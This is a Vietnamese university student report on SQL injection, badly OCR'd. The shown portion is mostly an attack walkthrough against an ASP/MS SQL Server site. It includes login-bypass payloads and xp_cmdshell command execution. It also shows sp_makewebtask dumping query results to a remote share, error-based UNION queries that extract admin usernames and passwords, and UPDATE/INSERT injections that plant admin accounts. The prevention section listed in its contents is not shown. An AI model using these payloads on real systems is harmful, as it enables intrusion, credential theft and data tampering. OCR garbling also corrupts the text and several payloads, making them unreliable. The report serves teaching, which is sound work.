SQL injection — con duoc goi la SQLi — SQL injection là một kỹ thuật cho phép những kẻ tấn công lợi dụng lỗ hồng của việc kiểm tra dữ liệu đầu vảo trong các ứng dụng web và các thông báo
Trang 1
TRUONG DAI HOC NGAN HANG THANH PHO HO CHi MINH
DE TAI: TIM HIEU VE SQL INJECTION — CHEN
MA SQL
Lop: ITS307_212 D03 Giáo viên hướng dẫn: Đặng Hoàng Huy
Nhóm: 8
TP.HCM, 02-06-2022
Trang 2
MUC LUC
Danh sach thanh vién nhom 8 3
I Ly thuyét SQL Injection 4
2 Hau qua cia SQL Injection 4
II Qua trinh tan céng bang SQL Injection 5
2 Kiểm tra chỗ yếu của trang web 6
3 Tại sao “ or I=I— cĩ thể vượt qua phần kiểm tra đăng nhập? - . - - 6
4 Thi hành lệnh từ xa bằng SQL Injection 7
5 Nhận output cia SQL query 7
6 Nhận dữ liệu qua “database using ODBC error m€SSAäEC” G0 2530159651955 8
7, Xác định tên của các column trong table 9
8 Thu thập các dữ liệu quan trọng 10
9, Nhận các numeric string 10
10 Thay đối dữ liệu (Update/Insert) của CSDI 11
HI Phân loại các kiểu tấn cơng SQL Injection 12
IV.Làm thế nào để diệt tận gốc các lỗ hỗng SQL Injection 14 TÀI LIỆU THAM KHẢO 19
Trang 3Danh sách thành vién nhom 8
Tên thành viên MSSV
Nguyễn Văn Tân 03023620013
9
Nguyễn Sinh Tài 03023620
0135
Trần Quỳnh Thảo 03023620
0157
Nguyễn Trọng Thảo 03023620
0154
Lê Thị Thu Thảo 03023620
0153
Trang 4
NOI DUNG
I Ly thuyét SQL Injection
1.SQL Injection la gi?
SQL injection — con duoc goi la SQLi — SQL injection là một kỹ thuật cho phép những kẻ tấn công lợi dụng lỗ hồng của việc kiểm tra dữ liệu đầu vảo trong các ứng dụng web và các thông báo lỗi của hệ quản trị cơ sở đữ liệu trả vé dé 1nJect (tiêm vào)
và thí hành các câu lệnh SQL bất hợp pháp SQL injection có thế cho phép những ké
tấn công thực hiện các thao tác, delete, Insert, update, v.v trên cơ sở dữ liệu của ứng dụng, thậm chí là server mà ứng dụng đó đang chạy
SQL injection thường được biết đến như là một vật trung gian tấn công trên các ứng dụng web có dữ liệu được quản lý bằng các hệ quản trị cơ sở đữ liệu như SQL Server, MySQL, Oracle, DB2, Sybase
SQL Injection chu yéu duge biét dén nhu mét vector tan céng dành cho các trang web Nhưng nó cũng có thê được dùng để tấn céng bat ky loai co sé dit ligu SQL nao Các cuộc tân công SQL Injection cho phép hacker giả mạo danh tính, xáo trộn dữ liệu Hay gay ra các vấn đề như làm mắt hiệu lực giao dịch, thay đổi số dư, tiết lộ hay phá hủy đữ liệu trên hệ thống Thậm chí là làm dữ liệu không khả dụng hoặc trở thành admin cua server cơ sở dữ liệu
Các cuộc tấn công SQL InJection được thực hiện bằng cách gửi lệnh SQL độc hại đến các máy chủ cơ sở dữ liệu thông qua các yêu cầu của người dùng mà website cho phép Bất kỳ kênh input nào cũng có thê được sử dụng để gửi các lệnh độc hại, bao gồm các thẻ<input>, chuỗi truy vấn (query strings), cookie và tệp tín
Tuy nhiên ngày nay chúng ta thường làm việc trên nhtmg framework hiện đại Các framework đều đã được test cân thận để phòng tránh các lỗi, trong đó có SQL Injection
2 Hau qua cua SQL Injection
¢ Lam 16 dit ligu trong database Tuy vao tam quan trọng của đữ liệu mà hậu
quảdao động ở mức nhẹ cho đến vô cùng nghiêm trọng.
Trang 5¢ Lộ dữ liệu khách hàng có thê ảnh hưởng rất nghiêm trọng đến công ty Hình ảnh
công ty có thê bị ảnh hưởng, khách hàng chuyên qua sử dụng dịch vụ khác, dẫn đến phá san v v
® - Hack tài khoản cá nhân
® _ Ăn cắp hoặc sao chép đữ liệu của trang web hoặc hệ thống
e Thay đổi dữ liệu nhạy cảm của hệ thống
e _ Xóa dữ liệu nhạy cảm và quan trọng của hệ thông
® - Người dùng có thế đăng nhập vào ứng dụng với tư cách người dùng khác, ngay
cả với tư cách quản trị viên
® Người dùng có thể xem thông tin cá nhân thuộc về những người dùng khác, vi
dụ chỉ tiết hồ sơ của người dùng khác, chị tiết giao dich cua ho,
¢ Newoi dung co thé stra déi cau tric cua co sé dit liu, tham chi x6a cac bang trong cơ sở đữ liệu ứng dụng
®_ Người dùng có thể kiếm soát máy chủ cơ sở dữ liệu vả thực thi lệnh theo ý muốn
H Quá trình tấn công bằng SQL Injection
1.Tìm kiếm mục tiêu
Có thế tìm các trang web cho phép submit đữ liệu ở bất kì một trình tìm kiếm nào trên mạng, chắng hạn như các trang login, search, feedback,
Ví dụ:
http: //yoursite.com/index.asp?id=10
Một số trang web chuyền tham số qua cac field ân, phải xem mã HTML mới thấy rõ
Ví dụ như ở dưới
<FORM action=Search/search.asp method=post>
<input type=hidden name=A value=C>
</FORM>
2 Kiểm tra chỗ yếu của trang web
Thu submit cac field username, password hoặc field id, bang hi’ or
Trang 61=1-Login: hit or 1=1
Password: hi' or 1=l
http: //yoursite.com/index.asp?id=hi' or 1=1
Néu site chuyén tham s6 qua field an, hay download source HTML, luu trén dia cứng và thay đổi lại URL cho phù hợp Ví đụ:
<FORM action=http://yoursite.com/Search/search.asp method=post>
<input type=hidden name=A value="hi' or 1=1 ">
</FORM>
Nêu thành công, thì có thê lop1n vào mà không cần phải biệt username va password
3 Tại sao “ or I=l— có thể vượt qua phần kiểm tra đăng nhập?
Giả sử như có một trang ASP liên kết đến một ASP trang khác với URL như sau:
http: //yoursite.com/index.asp?category-food
Trong URL trén, bién ‘category’ dugc gan gia tri la ‘food’ Ma ASP cua trang này có
thê như sau (đây chỉ là ví dụ thôi):
v_cat = request ("category")
sqlstr="SELECT * FROM product WHERE PCategory='" & v_cat & "'"
set rs=conn.execute(sqistr)
v_cat sẽ chứa giá trị của bién request(“category”) là 'food” và câu lệnh SQL tiếp theo
sẽ là:
SELECT * FROM product WHERE PCategory='food'
Dong query trên sẽ trả về một tập resultset chứa một hoặc nhiều dòng phù hợp với điều kiện WHERE PCatepory= food”
Nếu thay đổi URL trén thanh http://yoursite.com/index.asp?category=food’ or 1=1-,
>
biến v_cat sẽ chứa giá trị “food” or I=1— ” và đòng lệnh SQL query sẽ là:
SELECT * FROM product WHERE PCategory='food' or l=i '
Dong query trén sé select moi thir trong bang product bat chap gia trị của trường PCategory c6 bang ‘food’ hay khéng Hai dau gach ngang (—) chi cho MS SQL server biết đã hết dòng query, mọi thứ còn lại sau “—” sé bi bd qua Déi vi MySQL, hay thay
=” thành “#7
Trang 7Ngoài ra, cũng có thê thử cách khác bằng cach submit * or ‘a’=’a Dong SQL query bây giờ sẽ là:
SELECT * FROM product WHERE PCategory='food' or 'a'='a'
Một số loại dữ liệu khác mà cũng nên thử submit để biết xem trang web có gặp lỗi
hay không:
top 1=1—-
" or 1=1
or 1=1
"or 'at='a
"or "at="a
") or (‘atsta
4 Thi hanh lénh tir xa bang SQL Injection
Nếu cài đặt với chế độ mặc định ma không có điều chỉnh gi, MS SQL Server sé chay
ở mức SYSTEM, tương đương với mức truy cập Administrator trén Windows Co thé dung store procedure xp_cmdshell trong CSDL master dé thí hành lệnh từ xa:
'ÿ exec master xp_comdshell "ping 10.10.1.2'
Hay thir ding dau nhay déi (“) néu dau nhay don (‘) khéng lam việc
Dấu cham phay (sé kết thúc dòng SQL query hién tai va cho phép thi hanh mét SQL command méi Để kiểm tra xem lệnh trên có được thi hành hay không, có thê listen cac ICMP packet tir 10.10.1.2 bang tepdump nhu sau:
#tepdump Lemp
Nếu nhận được ping request từ 10.10.1.2 nghĩa là lệnh đã được thi hành
5 Nhan output cua SQL query
Có thê dùng sp_makewebtask đề ghi các output của SQL query ra mét file HTML
EXEC master sp_makewebtask "\\10.10.1.3\share\output.html", “SELECT * FROM
INFORMATION SCHEMA, TABLES"
Chú ý: folder “share” phải được share cho Everyone trước
Trang 86 Nhan dit liéu qua ‘database using ODBC error message’
Các thông báo lỗi của MS SQL Server thường đưa cho bạn những thông tín quan trong Lay vi du 6 trén http://yoursite.com/index.asp?id=10, bay gio chung ta thir hop
nhất inteper ˆ10” với một string khac lay tr CSDL:
http: //yoursite.com/index.asp?id=10 UNION SELECT TOP 1 TABLE NAME FROM INFORMATION SCHEMA TABLES
Bang INFORMATION SCHEMA.TABLES cua hé théng SQL Server chira thong
tin về tất cả các bảng (table) có trên server Trường TABLE_NAME chứa tên của mỗi bảng trong CSDL Chúng ta chọn nó bởi vì chúng ta biết rằng nó luôn tổn tại Query của chúng ta là:
SELECT TOP 1 TABLE NAME FROM INFORMATION SCHEMA TABLES-—
Dong query nay sé trả về tên của bảng đầu tiên trong CSDL
Khi chung ta két hop chudi nay voi sé integer 10 qua statement UNION, MS SQL
Server sẽ cố thử chuyển một strine (nvarchar) thành một số integer Diéu nay sé gp lỗi nếu như không chuyên được nvarchar sang int, server sẽ hiện thông báo lỗi sau:
Microsoft OLE DB Provider for ODBC Drivers error '80040607'
[Microsoft] [ODBC SQL Server Driver] [SQL Server]Syntax error converting the nvarchar value
"tablel' to a column of data type int
/index.asp, line 5
Thông báo lỗi trên cho biết giá trị muốn chuyén sang integer nhung khéng dugc,
“table1” Đây cũng chính là tên của bảng đầu tiên trong CSDL mà chúng ta đang muốn
Có
Đề lấy tên của tên của bảng tiếp theo, có thế dùng query sau:
http://yoursite.ccm/index.asp?id=l9 UNION SELECT TOP 1 TABLE NAME FROM INFORMATION SCHEMA,.TABLES WHERE TABLE NAME NOT IN ('tablel')
Cũng có thể thử tìm dữ liệu bằng cách khác thông qua statement LIKE của câu lệnh SQL:
http: //yoursite.com/index.asp?id=10 UNION SELECT TOP 1 TABLE NAME FROM INFORMATION SCHEMA.TABLES WHERE TABLE NAME LIKE '%25login$25'
Khi đó thông báo lỗi của SQL Server có thể là:
Trang 9[Microsoft] [ODBC SQL Server Driver] [SQL Server]Syntax error converting the nvarchar value ‘admin login' to a column of data type int
/index.asp, line 5
Mau so sanh ‘%25login%25” sé trong duong voi %login% trong SQL Server Nhu thay trong théng bao lỗi trên, chúng ta có thể xác định được tên của một table quan trọng la “admin_login”
7 Xác định tén cia céc column trong table
Table INFORMATION _SCHEMA.COLUMNS chia tên của tất cả các column trong
table C6 thé khai thác như sau:
http: //yoursite.com/index.asp?id=10 UNION SELECT TOP 1 COLUMN NAME FROM
INFORMATION SCHEMA.COLUMNS WHERE TABLE NAMBP='admin login'-—
Khi đó thông báo lỗi của SQL Server có thế như sau:
Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'login iở'
to a column of data type int
/index.asp, line 5
Nhu vay tén cua column dau tién 1a “login id” Dé lay tên của các column tiép theo,
có thê dùng mệnh dé logic NOT IN () như sau:
http://yoursite.com/index.asp?id=10 UNION SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE NAME='admin login’ WHERE COLUMN NAME NOT IN
(login id)
Khi đó thông báo lỗi của SQL Server có thê như sau:
Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft] [ODBC SQL Server Driver] [SQL Server]Syntax error converting the nvarchar value 'login_name' to a column of data type int
/index.asp, line 5
Làm tương tự như trên, có thê lây được tên của các column con lai nhu “password”,
“details” Khi đó ta lây tên của các column này qua các thông bao 161 cua SQL Server, như ví dụ sau:
Trang 10INFORMATION SCHEMA.COLUMNS WHERE TABLE NAMF="admin login' WHERE COLUMN NAME NOT IN
(‘login _id', 'login name', 'password',details')
Khi đó thông báo lỗi của SQL Server có thê như sau:
Microsoft OLE DB Provider for ODBC Drivers error '80040e14'
[Microsoft] [ODBC SQL Server Driver] [SQL Server]ORDER BY items must appear in the
select list if the statement contains a UNION operator
/index.asp, line 5
8 Thu thập các dữ liệu quan trọng
Chúng ta đã xác định được các tên của các table và column quan trong Chung ta sé thu thập các thông tin quan trọng từ các table và column này
Có thể lấy login_name đầu tiên trong table “admin login” như sau:
http: //yoursite.com/index.asp?id=10 UNION SELECT TOP 1 login_name FROM admin_login
Khi đó thông báo lỗi của SQL Server có thê như sau:
Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft] [ODBC SQL Server Driver] [SQL Server]Syntax error converting the nvarchar value 'neo' to a column of data type int
/index.asp, line 5
Dễ dàng nhận ra được admin user đầu tiên có login name là “neo” Hãy thử lấy password của “neo” như sau:
http: //yoursite.com/index.asp?id=10 UNION SELECT TOP 1 password FROM admin login where login_name='neo'
Khi đó thông báo lỗi của SQL Server có thê như sau:
Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft] [ODBC SQL Server Driver] [SQL Server]Syntax error converting the nvarchar value 'm4trix' to a column of data type int
/index.asp, line 5
Va bay e210 1a da c6 thé login vao voi username 1a “neo” va password 1a “m4trix”
9, Nhan cac numeric string
Có một hạn chế nhỏ đối với phương pháp trên Chúng ta không thể nhận được các error message néu server c6 thé chuyén text ding 6 dang số (text chỉ chứa các kí tự số
10
Trang 11từ 0 đến 9) Gia str nhu password cua “trinity” là “31173” Vay néu ta thi hanh lénh
sau:
http: //yoursite.com/index.asp?id=10 UNION SELECT TOP 1 password FROM admin login
where login _name="trinity'-~
Thị khi đó chỉ nhận được thông báo lỗi “Page Not Found” Ly do bởi vì server có thé chuyển password “31173” sang dang s6 truéc khi UNION voi integer 10 Dé giai quyết vấn đề này, chúng ta có thê thêm một vài kí ty alphabet vao numeric string nay
để làm thất bại sự chuyền đổi từ text sane số của server Dòng query mới như sau:
http://yoursite.com/index.asp?id=10 UNION SELECT TOP 1 convert(int, password
%2b'%20morpheus') FROM admin login where login name="trinity'-—
Chúng ta dùng dấu cộng (+) để nối thêm text vào password (ASCII code của '+” là 0x2b) Chúng ta thêm chuỗi “(space)morpheus” vào cuối password đề tạo ra một strinp
mới không phai numeric string là ‘31173 morpheus’ Khi ham convert() được gọi để
chuyén ‘31173 morpheus’ sang integer, SQL server sé phat 146i ODBC error message
sau:
Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft] [ODBC SQL Server Driver] [SQL Server]Syntax error converting the nvarchar value '31173 morpheus' to a column of data type int
/index.asp, line 5
Và nghĩa là bây giờ ta cũng có thê login vao véi username ‘trinity’ va password la
“31173!
10 Thay doi dir ligu (Update/Insert) cua CSDL
Khi đã có tên của tất ca cac column trong table, có thê sử dụng lệnh UPDATE hoặc INSERT đề sửa đồi/tạo mới mét record vao table nay
Dé thay déi password cua “neo”, co thể làm như sau:
http: //yoursite.com/index.asp?id=10; UPDATE "admin login’ SET "password' =
"newpas5' WHERE login name='neo'-—
Hoặc nêu bạn muôn một record mới vao table:
http://yoursite.com/index.asp?id=10; INSERT INTO "admin _login' (‘login _id',
"login name', 'password', 'details') VALUES (666, 'neo2', 'newpas5', 'NA')-—
Va bay 210 c6 thé login vao voi username “neo2” va password la “newpas5”
11